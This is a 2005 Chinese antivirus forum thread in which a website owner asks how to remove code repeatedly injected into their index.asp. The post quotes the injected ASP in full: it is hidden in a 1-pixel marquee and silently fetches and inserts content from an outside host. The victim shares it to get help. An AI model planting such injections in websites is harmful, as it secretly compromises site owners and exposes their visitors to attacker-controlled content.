瑞星卡卡安全论坛

首页 » 技术交流区 » 反病毒/反流氓软件论坛 » 急,中了网页病毒。在我首页里加了代码。怎么杀呀?
忆真龙 - 2005-8-10 9:35:00
加的代码为:
<MARQUEE onmouseover=this.stop() onmouseout=this.start()
                        scrollAmount=30 scrollDelay=0 direction=up height=1>
    <%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("http://www.sun579.com/superlink/index2.asp"))

Function getHTTPPage(Path)
    t = GetBody(Path)
    getHTTPPage=BytesToBstr(t,"GB2312")
End function
Function GetBody(url)
    on error resume next
    Set Retrieval = CreateObject("Microsoft.XMLHTTP")
    With Retrieval
    .Open "Get", url, False, "", ""
    .Send
    GetBody = .ResponseBody
    End With
    Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
    dim objstream
    set objstream = Server.CreateObject("adodb.stream")
    objstream.Type = 1
    objstream.Mode =3
    objstream.Open
    objstream.Write body
    objstream.Position = 0
    objstream.Type = 2
    objstream.Charset = Cset
    BytesToBstr = objstream.ReadText
    objstream.Close
    set objstream = nothing
End Function

%>
    </marquee>


怎么杀呀。
服务器格过后,重装的,就又有了。
杀过木马。
好像只感染index.asp文件
忆真龙 - 2005-8-11 16:07:00
?,没人知道呀?!
子阳 - 2005-8-11 16:15:00
引用:
【忆真龙的贴子】加的代码为:
<MARQUEE over=this.stop() out=this.start()
                        scrollAmount=30 scrollDelay=0 direction=up height=1>
    <%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("http://www.sun579.com/superlink/index2.asp"))

Function getHTTPPage(Path)
    t = GetBody(Path)
    getHTTPPage=BytesToBstr(t,"GB2312")
End function
Function GetBody(url)
    on error resume next
    Set Retrieval = Create("Microsoft.XMLHTTP")
    With Retrieval
    .Open "Get", url, False, "", ""
    .Send
    GetBody = .ResponseBody
    End With
    Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
    dim objstream
    set objstream = Server.Create("adodb.stream")
    objstream.Type = 1
    objstream.Mode =3
    objstream.Open
    objstream.Write body
    objstream.Position = 0
    objstream.Type = 2
    objstream.Charset = Cset
    BytesToBstr = objstream.ReadText
    objstream.Close
    set objstream = nothing
End Function

%>
    </marquee>


怎么杀呀。
服务器格过后,重装的,就又有了。
杀过木马。
好像只感染index.asp文件

...........................

http://forum.ikaka.com/topic.asp?board=67&artid=6389850
1
查看完整版本: 急,中了网页病毒。在我首页里加了代码。怎么杀呀?